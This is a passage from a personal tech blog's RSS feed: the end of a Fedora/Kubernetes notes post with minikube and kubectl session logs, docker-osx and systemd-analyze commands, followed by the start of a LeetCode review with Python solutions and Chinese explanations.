&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;For online documentation and support please refer to
&amp;lt;a href=&quot;http://nginx.org/&quot;&amp;gt;nginx.org&amp;lt;/a&amp;gt;.&amp;lt;br/&amp;gt;
Commercial support is available at
&amp;lt;a href=&quot;http://nginx.com/&quot;&amp;gt;nginx.com&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;二则 多容器实验&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ kubectl scale deployment nginx-deployment --replicas=3
deployment.apps/nginx-deployment scaled

$ kubectl get pods
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-7457467ffd-489qf   1/1     Running   0          25s
nginx-deployment-7457467ffd-6fxtv   1/1     Running   0          7m5s
nginx-deployment-7457467ffd-b6km2   1/1     Running   0          25s

$ kubectl delete service nginx-deployment
service &quot;nginx-deployment&quot; deleted from default namespace

$ kubectl delete deployment nginx-deployment
deployment.apps &quot;nginx-deployment&quot; deleted from default namespace

$ curl http://192.168.49.2:31891/
curl: (7) Failed to connect to 192.168.49.2 port 31891 after 0 ms: Could not connect to server

$ kubectl get pods
No resources found in default namespace.

$ minikube stop
✋  正在停止节点 &quot;minikube&quot; ...
🛑  正在通过 SSH 关闭“minikube”…
🛑  1 个节点已停止。

$ minikube delete
🔥  正在删除 docker 中的“minikube”…
🔥  正在删除容器 &quot;minikube&quot; ...
🔥  正在移除 /home/s3loy/.minikube/machines/minikube…
💀  已删除所有关于 &quot;minikube&quot; 集群的痕迹。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三则 多节点创建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ minikube start --nodes 3 -p multi-node-cluster
😄  Fedora 42 上的 [multi-node-cluster] minikube v1.37.0
✨  自动选择 docker 驱动。其他选项：podman, qemu2, none, ssh
📌  使用具有 root 权限的 Docker 驱动程序
👍  在集群中 &quot;multi-node-cluster&quot; 启动节点 &quot;multi-node-cluster&quot; primary control-plane
🚜  正在拉取基础镜像 v0.0.48 ...
❗  minikube was unable to download gcr.io/k8s-minikube/kicbase:v0.0.48, but successfully downloaded docker.io/kicbase/stable:v0.0.48@sha256:7171c97a51623558720f8e5878e4f4637da093e2f2ed589997bedc6c1549b2b1 as a fallback image
🔥  创建 docker container（CPU=2，内存=3072MB）...
🐳  正在 Docker 28.4.0 中准备 Kubernetes v1.34.0…
🔗  配置 CNI (Container Networking Interface) ...
🔎  正在验证 Kubernetes 组件...
    ▪ 正在使用镜像 gcr.io/k8s-minikube/storage-provisioner:v5
🌟  启用插件： storage-provisioner, default-storageclass

👍  在集群中 &quot;multi-node-cluster&quot; 启动节点 &quot;multi-node-cluster-m02&quot; worker
🚜  正在拉取基础镜像 v0.0.48 ...
🔥  创建 docker container（CPU=2，内存=3072MB）...
🌐  找到的网络选项：
    ▪ NO_PROXY=192.168.49.2
🐳  正在 Docker 28.4.0 中准备 Kubernetes v1.34.0…
    ▪ env NO_PROXY=192.168.49.2
🔎  正在验证 Kubernetes 组件...

👍  在集群中 &quot;multi-node-cluster&quot; 启动节点 &quot;multi-node-cluster-m03&quot; worker
🚜  正在拉取基础镜像 v0.0.48 ...
🔥  创建 docker container（CPU=2，内存=3072MB）...
🌐  找到的网络选项：
    ▪ NO_PROXY=192.168.49.2,192.168.49.3
🐳  正在 Docker 28.4.0 中准备 Kubernetes v1.34.0…
    ▪ env NO_PROXY=192.168.49.2
    ▪ env NO_PROXY=192.168.49.2,192.168.49.3                                                                                                                                         🔎  正在验证 Kubernetes 组件...
🏄  完成！kubectl 现在已配置，默认使用&quot;multi-node-cluster&quot;集群和&quot;default&quot;命名空间

$ kubectl get nodes
NAME                     STATUS   ROLES           AGE     VERSION
multi-node-cluster       Ready    control-plane   3m21s   v1.34.0
multi-node-cluster-m02   Ready    &amp;lt;none&amp;gt;          3m8s    v1.34.0
multi-node-cluster-m03   Ready    &amp;lt;none&amp;gt;          2m58s   v1.34.0

$ minikube status -p multi-node-cluster
multi-node-cluster
type: Control Plane
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured

multi-node-cluster-m02
type: Worker
host: Running
kubelet: Running

multi-node-cluster-m03
type: Worker
host: Running
kubelet: Running

$ kubectl create deployment nginx-deployment --image=nginx
deployment.apps/nginx-deployment created

$ kubectl scale deployment nginx-deployment --replicas=6
deployment.apps/nginx-deployment scaled

$ kubectl get pods -o wide
NAME                                READY   STATUS    RESTARTS   AGE   IP           NODE                     NOMINATED NODE   READINESS GATES
nginx-deployment-7457467ffd-67tv9   1/1     Running   0          54s   10.244.2.2   multi-node-cluster-m03   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-deployment-7457467ffd-6vt69   1/1     Running   0          54s   10.244.2.3   multi-node-cluster-m03   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-deployment-7457467ffd-8wsmk   1/1     Running   0          54s   10.244.1.3   multi-node-cluster-m02   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-deployment-7457467ffd-g9ngm   1/1     Running   0          54s   10.244.0.4   multi-node-cluster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-deployment-7457467ffd-gjk49   1/1     Running   0          75s   10.244.1.2   multi-node-cluster-m02   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
nginx-deployment-7457467ffd-vffxz   1/1     Running   0          54s   10.244.0.3   multi-node-cluster       &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;

$ minikube profile list
┌──────────┬────┬──── ┬───────┬──── ┬────┬─── ┬────────┬──────────┐
│      PROFILE       │ DRIVER │ RUNTIME │      IP      │ VERSION │ STATUS │ NODES │ ACTIVE PROFILE │ ACTIVE KUBECONTEXT │
├──────────┼────┼──── ┼───────┼──── ┼────┼─── ┼────────┼──────────┤
│ multi-node-cluster │ docker │ docker  │ 192.168.49.2 │ v1.34.0 │ OK     │ 3     │                │ *                  │
└──────────┴────┴──── ┴───────┴──── ┴────┴─── ┴────────┴──────────┘

$ kubectl expose deployment nginx-deployment --type=NodePort --port=80

$ minikube ip -p multi-node-cluster
192.168.49.2

$ curl 192.168.49.2
curl: (7) Failed to connect to 192.168.49.2 port 80 after 0 ms: Could not connect to server
$ kubectl get service nginx-deployment
NAME               TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
nginx-deployment   NodePort   10.106.236.139   &amp;lt;none&amp;gt;        80:32530/TCP   3m38s

$ curl http://192.168.49.2:32530/
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;For online documentation and support please refer to
&amp;lt;a href=&quot;http://nginx.org/&quot;&amp;gt;nginx.org&amp;lt;/a&amp;gt;.&amp;lt;br/&amp;gt;
Commercial support is available at
&amp;lt;a href=&quot;http://nginx.com/&quot;&amp;gt;nginx.com&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

$ kubectl delete service nginx-deployment
service &quot;nginx-deployment&quot; deleted from default namespace
$ kubectl delete deployment nginx-deployment
deployment.apps &quot;nginx-deployment&quot; deleted from default namespace
$ minikube delete -p multi-node-cluster
🔥  正在删除 docker 中的“multi-node-cluster”…
🔥  正在删除容器 &quot;multi-node-cluster&quot; ...
🔥  正在删除容器 &quot;multi-node-cluster-m02&quot; ...
🔥  正在删除容器 &quot;multi-node-cluster-m03&quot; ...
🔥  正在移除 /home/s3loy/.minikube/machines/multi-node-cluster…
🔥  正在移除 /home/s3loy/.minikube/machines/multi-node-cluster-m02…
🔥  正在移除 /home/s3loy/.minikube/machines/multi-node-cluster-m03…
💀  已删除所有关于 &quot;multi-node-cluster&quot; 集群的痕迹。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;22.2. k8s概念简单解析和minikube使用方法&lt;/h3&gt;
&lt;h4&gt;22.2.1. k8s内重要概念&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Pod (最小工作单元)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Pod 是 K8s 中可以创建和管理的最小部署单元。一个 Pod 包含一个或多个紧密相关的容器（比如一个主应用容器和一个日志收集容器）。这些容器共享同一个网络环境和存储卷，可以把它们看作一个整体。
通常使用更高层管理。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Deployment (部署)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;确保指定数量的 Pod 正在运行。副本管理，滚动更新，回滚三大功能。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Service (服务)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;服务发现，会自动跟踪其后端 Pod 的变化；负载均衡，将请求优先发送到健康 Pod&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Namespace (命名空间)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;资源进行逻辑上的隔离,创建的 Deployment、Service 等资源都属于某一个 Namespace。默认情况下，它们都在 default 命名空间里.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;22.2.2. kubectl&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://kubernetes.io/zh-cn/docs/reference/kubectl/&quot;&gt;&lt;strong&gt;kube control&lt;/strong&gt;&lt;/a&gt;用于 K8s 集群交互&lt;/p&gt;
&lt;p&gt;使用方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl [command] [TYPE] [NAME] [flags]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;23. Gaming(gamemode)::Games optimize&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install gamemode

systemctl --user enable gamemoded.service &amp;amp;&amp;amp; systemctl --user start gamemoded.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;24. Sideloading(legacy-ios-kit)&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/LukeZGD/Legacy-iOS-Kit&quot;&gt;GitHub - LukeZGD/Legacy-iOS-Kit: An all-in-one tool to restore/downgrade, save SHSH blobs, jailbreak legacy iOS devices, and more&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;目前还没有使用过，但看起来是一个很好的侧载方案&lt;/p&gt;
&lt;h2&gt;25. Trick(Wayland-Docker-OSX)::Building macOS with docker&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ docker run -it \                                                           
             --device /dev/kvm \
             -p 50922:10022 \
             -e XDG_RUNTIME_DIR=/tmp \
             -e WAYLAND_DISPLAY=$WAYLAND_DISPLAY \
             -v $XDG_RUNTIME_DIR/$WAYLAND_DISPLAY:/tmp/$WAYLAND_DISPLAY  \
             -e GENERATE_UNIQUE=true \
             -e MASTER_PLIST_URL=&apos;https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist&apos; \
             -e SHORTNAME=sonoma \
             sickcodes/docker-osx:latest
             
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还没有成功，死在了盘都装好了打不开来，但因为&lt;code&gt;wayland&lt;/code&gt;的&lt;code&gt;display&lt;/code&gt;和&lt;code&gt;x11&lt;/code&gt;有所区别,所以得参考&lt;code&gt;github&lt;/code&gt;内&lt;code&gt;issues&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;26. Trick(systemd-analyze blame)::Optimization&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;❯ systemd-analyze blame
5.338s NetworkManager-wait-online.service
4.232s sys-module-fuse.device
4.171s sys-devices-LNXSYSTM:00-LNXSYBUS:00-MSFT0101:00-tpm-tpm0.device
4.171s dev-tpm0.device
4.117s dev-ttyS3.device
4.117s sys-devices-platform-serial8250-serial8250:0-serial8250:0.3-tty-ttyS3.de&amp;gt;
4.115s sys-devices-platform-serial8250-serial8250:0-serial8250:0.2-tty-ttyS2.de&amp;gt;
...

感觉性能优化的时候用得到
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>s3loy</author></item><item><title>LeetCode Review</title><link>https://blog.s3loy.tech/posts/leetcode-review</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/leetcode-review</guid><pubDate>Mon, 02 Mar 2026 15:45:00 GMT</pubDate><content:encoded>&lt;p&gt;题单为leetcode经典150&lt;/p&gt;
&lt;h2&gt;数组 / 字符串&lt;/h2&gt;
&lt;h3&gt;68. 文本左右对齐&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/text-justification/description/&quot;&gt;68. 文本左右对齐 - 力扣（LeetCode）&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def fullJustify(self, words: List[str], maxWidth: int) -&amp;gt; List[str]:
    ans=[]
    word_list=[]
    cur_len = 0
    for word in words:
      if cur_len + len(word) + len(word_list) &amp;gt; maxWidth:
        spaces = maxWidth - cur_len
        gaps = len(word_list) - 1
        if gaps == 0:
          line = word_list[0] + &apos; &apos; * spaces
        else:
          average,left = divmod(spaces,gaps)
          line = &apos;&apos;
          for i in range(gaps):
            line += word_list[i]
            line += average* &apos; &apos;
            if i&amp;lt;left:
              line +=&apos; &apos;
          line += word_list[-1]
        ans.append(line)
        #initialize
        word_list = []
        cur_len = 0
      word_list.append(word)
      cur_len += len(word)
    #最后一行
    line = &apos; &apos;.join(word_list)
    spaces = maxWidth - len(line)
    line += &apos; &apos; * spaces
    ans.append(line)
    
    return ans
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一开始先写了处理溢出的情况，不过中间还需要先存储那些可以的word再合成一个line&lt;/p&gt;
&lt;p&gt;思路就是一行一行读一行一行造，里面有一个问题是在这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(gaps):
  line += word_list[i]
  line += average* &apos; &apos;
  if i&amp;lt;left:
    line +=&apos; &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个&lt;code&gt;i&amp;lt;left&lt;/code&gt;我想了很久&lt;/p&gt;
&lt;p&gt;left是余数，i是中间有的空格-1，这边要的效果是把余数在前面的空里面填满&lt;/p&gt;
&lt;p&gt;那假设有3个要填的，有四个空格，要填的i是0，1，2，此时left=3&lt;/p&gt;
&lt;p&gt;5个要填的，有七个空格，要填的i是0，1，2，3，4，此时left=5&lt;/p&gt;
&lt;p&gt;那很明显可以用i&amp;lt;left来限制&lt;/p&gt;
&lt;p&gt;然后就造吧&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/is-subsequence/&quot;&gt;392. 判断子序列&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isSubsequence(self, s: str, t: str) -&amp;gt; bool:
    it = iter(t)
    return all(c in it for c in s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;迭代器神力，同时判断是不是在里面
同时使用&lt;code&gt;all( )&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-insertion-steps-to-make-a-string-palindrome/&quot;&gt;1312. 让字符串成为回文串的最少插入次数&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def minInsertions(self, s: str) -&amp;gt; int:
    re_str=s[::-1]
    def longestCommonSubsequence(text1: str, text2: str) -&amp;gt; int:
      m = len(text1)
      n = len(text2)

      dp = [[0] * (n + 1) for _ in range(m + 1)]
      for i in range(1, m + 1):
        for j in range(1, n + 1):
          if text1[i - 1] == text2[j - 1]:
            dp[i][j] = dp[i - 1][j - 1] + 1
          else:
            dp[i][j] = max(dp[i - 1][j], dp[i][j - 1])
      return dp[m][n]

    return len(s)-longestCommonSubsequence(s,re_str)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;套用了另外一道简单题目&lt;code&gt;lcs&lt;/code&gt;，第一次涉及&lt;code&gt;dp&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;如何求lcs&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;def longestCommonSubsequence(text1: str, text2: str) -&amp;gt; int:
  m = len(text1)
  n = len(text2)

  dp = [[0] * (n + 1) for _ in range(m + 1)]
  for i in range(1, m + 1):
    for j in range(1, n + 1):
      if text1[i - 1] == text2[j - 1]:
        dp[i][j] = dp[i - 1][j - 1] + 1
      else:
        dp[i][j] = max(dp[i - 1][j], dp[i][j - 1])
  return dp[m][n]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;m = &lt;code&gt;&quot;abccdca&quot;&lt;/code&gt;
n = &lt;code&gt;&quot;adcaab&quot;&lt;/code&gt;
lcs = &lt;code&gt;&quot;aca&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;情况一：两个字符串的最后一个字符相等&lt;/strong&gt;
如果 &lt;code&gt;text1[i-1] == text2[j-1]&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这意味着我们找到了一个公共字符！这个字符&lt;strong&gt;必然&lt;/strong&gt;可以作为它们公共子序列的一部分。&lt;/li&gt;
&lt;li&gt;那么，text1 的前 i 个字符和 text2 的前 j 个字符的LCS，就等于它们&lt;strong&gt;各自去掉最后一个字符&lt;/strong&gt;后的LCS长度再&lt;strong&gt;加1&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;用 dp 数组来表示就是：&lt;code&gt;dp[i][j] = dp[i-1][j-1] + 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;举例：&lt;/strong&gt; 求 &quot;ab&lt;strong&gt;c&lt;/strong&gt;&quot; 和 &quot;ad&lt;strong&gt;c&lt;/strong&gt;&quot; 的LCS。因为最后一个字符 &apos;c&apos; 相等，问题就转化为求 &quot;ab&quot; 和 &quot;ad&quot; 的LCS长度，然后加1。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;情况二：两个字符串的最后一个字符不相等&lt;/strong&gt;
如果 &lt;code&gt;text1[i-1] != text2[j-1]&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这意味着这两个不同的字符&lt;strong&gt;不可能同时&lt;/strong&gt;出现在LCS的末尾。&lt;/li&gt;
&lt;li&gt;那么，我们就要在两种可能性中取一个较大值：
&lt;ol&gt;
&lt;li&gt;text1 的前 i 个字符和 text2 的前 j-1 个字符的LCS长度（相当于把 text2 的最后一个字符扔掉，看看结果）。这个值就是 &lt;code&gt;dp[i][j-1]&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;text1 的前 i-1 个字符和 text2 的前 j 个字符的LCS长度（相当于把 text1 的最后一个字符扔掉，看看结果）。这个值就是 &lt;code&gt;dp[i-1][j]&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;我们取这两者中的最大值，因为它代表了更长的公共子序列。&lt;/li&gt;
&lt;li&gt;用 dp 数组来表示就是：&lt;code&gt;dp[i][j] = max(dp[i-1][j], dp[i][j-1])&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这题看题解去吧,俺也懵懵的&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/make-array-elements-equal-to-zero/&quot;&gt;3354. 使数组元素等于零 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def countValidSelections(self, nums: List[int]) -&amp;gt; int:
    num_sum= sum(nums)
    left_sum = 0
    ans = 0
    right_sum = num_sum
    for num in nums:
      if num == 0:
        if left_sum == right_sum:
          ans+=2
        elif left_sum - right_sum == 1 or right_sum - left_sum == 1:
          ans+=1
      else:
        left_sum+=num
        right_sum=num_sum-left_sum
    return ans
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思路非常简单，发现题目根本没必要使用动态的想法&lt;/p&gt;
&lt;h2&gt;双指针&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/two-sum-ii-input-array-is-sorted/&quot;&gt;167. 两数之和 II - 输入有序数组 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def twoSum(self, numbers: List[int], target: int) -&amp;gt; List[int]:
    index1=0
    index2=0
    for index,num in enumerate(numbers):
      requirement=target-num
      if requirement in numbers:
        index1=index+1
        if num == requirement:
          index2 = numbers.index(requirement, index1) + 1
          return [index1, index2]
        else:
          index2 = numbers.index(requirement) +1
          return [index1,index2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是第一次ac代码，执行用时分布 5813ms 击败5.20%
没错高贵的O(n^2),那可得好好优化一下了&lt;/p&gt;
&lt;p&gt;在这应该使用&lt;code&gt;双指针&lt;/code&gt;来快速查找,避免多次遍历&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def twoSum(self, numbers: List[int], target: int) -&amp;gt; List[int]:
    left=0
    right=len(numbers)-1
    while left &amp;lt; right:
      cur_sum=numbers[left]+numbers[right]
      if cur_sum==target:
        return [left+1,right+1]
      elif cur_sum &amp;lt; target:
        left+=1
      else:
        right-=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该方法时间复杂度为O(n)  执行用时分布 4ms 击败50.86%
&lt;s&gt;奇怪，为什么一样的算法他们能跑到0ms的，是我没充钱吗？&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/container-with-most-water/&quot;&gt;11. 盛最多水的容器 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;贪心双指针一遍过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def maxArea(self, height: List[int]) -&amp;gt; int:
    max_volume=0
    left=0
    right=len(height)-1
    while(left!=right):
      x=right-left
      y=min(height[left],height[right])
      v=x*y
      if v&amp;gt;max_volume:
        max_volume=v
      if height[left]&amp;gt;=height[right]:
        right-=1
      else:
        left+=1
    return max_volume
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/3sum/&quot;&gt;15. 三数之和 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;这是第一版🔟山,最后tle了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def threeSum(self, nums: List[int]) -&amp;gt; List[List[int]]:
    if len(nums) &amp;lt; 3:
      return []
    sorted_nums = sorted(nums)
    count = 0
    for num in sorted_nums:
      if num &amp;lt; 0:
        count += 1
    nums1 = sorted_nums[:count]
    nums2 = sorted_nums[count:]
    if not nums1 or not nums2:
      if sorted_nums.count(0) &amp;gt;= 3:
        return [[0, 0, 0]]
      return []
    ans = []
    seen = []
    for i in nums1:
      for j in nums2:
        k = -i - j
        if k not in sorted_nums:
          continue
        if [i, j, k].count(i) &amp;gt; sorted_nums.count(i):
          continue
        if [i, j, k].count(j) &amp;gt; sorted_nums.count(j):
          continue
        if [i, j, k].count(k) &amp;gt; sorted_nums.count(k):
          continue

        triple = sorted([i, j, k])
        if triple not in seen:
          seen.append(triple)
          ans.append(triple)

    if sorted_nums.count(0) &amp;gt;= 3:
      ans.append([0, 0, 0])
    return ans
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是高贵的O(n^3)算法，暴力的后果还是被卡了啊，同时内存也多到爆炸，于是想到三指针&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def threeSum(self, nums: List[int]) -&amp;gt; List[List[int]]:
    ans=[]
    nums.sort()
    n=len(nums)
    for i in range(n-2):
      if i &amp;gt; 0 and nums[i]==nums[i-1]:
        continue
      left=i+1
      right=n-1
      while left &amp;lt; right:
        s = nums[i]+nums[left]+nums[right]
        if s==0:
          ans.append([nums[i],nums[left],nums[right]])
          while left &amp;lt; right and nums[left]==nums[left+1]:
            left+=1
          while left &amp;lt; right and nums[right]==nums[right-1]:
            right-=1
          left+=1
          right-=1
        elif s&amp;lt;0:
          left+=1
        else:
          right-=1
    return ans
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;滑动窗口&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-size-subarray-sum/&quot;&gt;209. 长度最小的子数组 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;滑动窗口初尝试，好像不难，和双指针很像了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def minSubArrayLen(self, target: int, nums: List[int]) -&amp;gt; int:
    n=len(nums)
    ans=n+1
    s=0
    left=0
    for right,num in enumerate(nums):
      s+=num
      while s&amp;gt;=target:
        ans=min(ans,right-left+1)
        s-=nums[left]
        left+=1
    if ans==n+1:return 0
    return ans 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/longest-substring-without-repeating-characters/&quot;&gt;3. 无重复字符的最长子串 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;滑动窗口+hashmap&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def lengthOfLongestSubstring(self, s: str) -&amp;gt; int:
    start = 0
    seen = set()
    maxlen = 0

    for end in range(len(s)):
      while s[end] in seen:
        seen.remove(s[start])
        start += 1
      seen.add(s[end])
      maxlen = max(maxlen, end - start + 1)
  
    return maxlen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和&lt;a href=&quot;https://leetcode.cn/problems/zui-chang-bu-han-zhong-fu-zi-fu-de-zi-zi-fu-chuan-lcof/&quot;&gt;LCR 167. 招式拆解 I - 力扣（LeetCode）&lt;/a&gt;是一样的，因此一起过了&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/substring-with-concatenation-of-all-words/&quot;&gt;30. 串联所有单词的子串 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;一开始思路不好，神秘的O(n!xn)算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def generate_permutations(self,words:str) -&amp;gt; List[str]:
    if len(words) == 1:
      return words
    res = []
    for i in range(len(words)):
      first = words[i]
      rest = words[:i] + words[i+1:]
      for sub in self.generate_permutations(rest):
        res.append(first + sub)
    return res

  def findSubstring(self, s: str, words: List[str]) -&amp;gt; List[int]:
    sub_words = set(self.generate_permutations(words))
    l=len(s)
    window = len(words[0]) * len(words)
    if window &amp;gt; len(s): return []
    ans=[]
    for start in range(0, len(s) - window + 1): 
      if s[start : start + window] in sub_words:
        ans.append(start)
    return ans

    
  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;124 / 182 个通过的测试用例
提交于 2025.10.30 21:35
&lt;code&gt;s =&quot;fffffffffffffffffffffffffffffffff&quot;&lt;/code&gt;
&lt;code&gt;words =[&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;,&quot;a&quot;]&lt;/code&gt;
很明显会因为生成子串的过程太长导致tle
所以换一个思路，把words用键值对一一对应&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def findSubstring(self, s: str, words: List[str]) -&amp;gt; List[int]:
    if not s or not words:
      return []
    word_len = len(words[0]) 
    total_len = word_len * len(words)
    word_map = {w: words.count(w) for w in words} 
    ans = []
    n = len(s)
    for i in range(0, n - total_len + 1):
      seen = {}
      j = 0    
      while j &amp;lt; len(words):
        word_start = i + j * word_len
        word_end = word_start + word_len
        word = s[word_start:word_end]
        if word not in word_map:
          break
        seen[word] = seen.get(word, 0) + 1
        if seen[word] &amp;gt; word_map[word]:
          break
        j += 1
      if j == len(words):
        ans.append(i)
    return ans

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/substring-with-concatenation-of-all-words/submissions/674785574&quot;&gt;30. 串联所有单词的子串 - 力扣（LeetCode）&lt;/a&gt;
这测试点诗人啊
181 / 182 个通过的测试用例&lt;/p&gt;
&lt;p&gt;ac代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def findSubstring(self, s: str, words: List[str]) -&amp;gt; List[int]:
    if not s or not words:
      return []
    word_len = len(words[0])
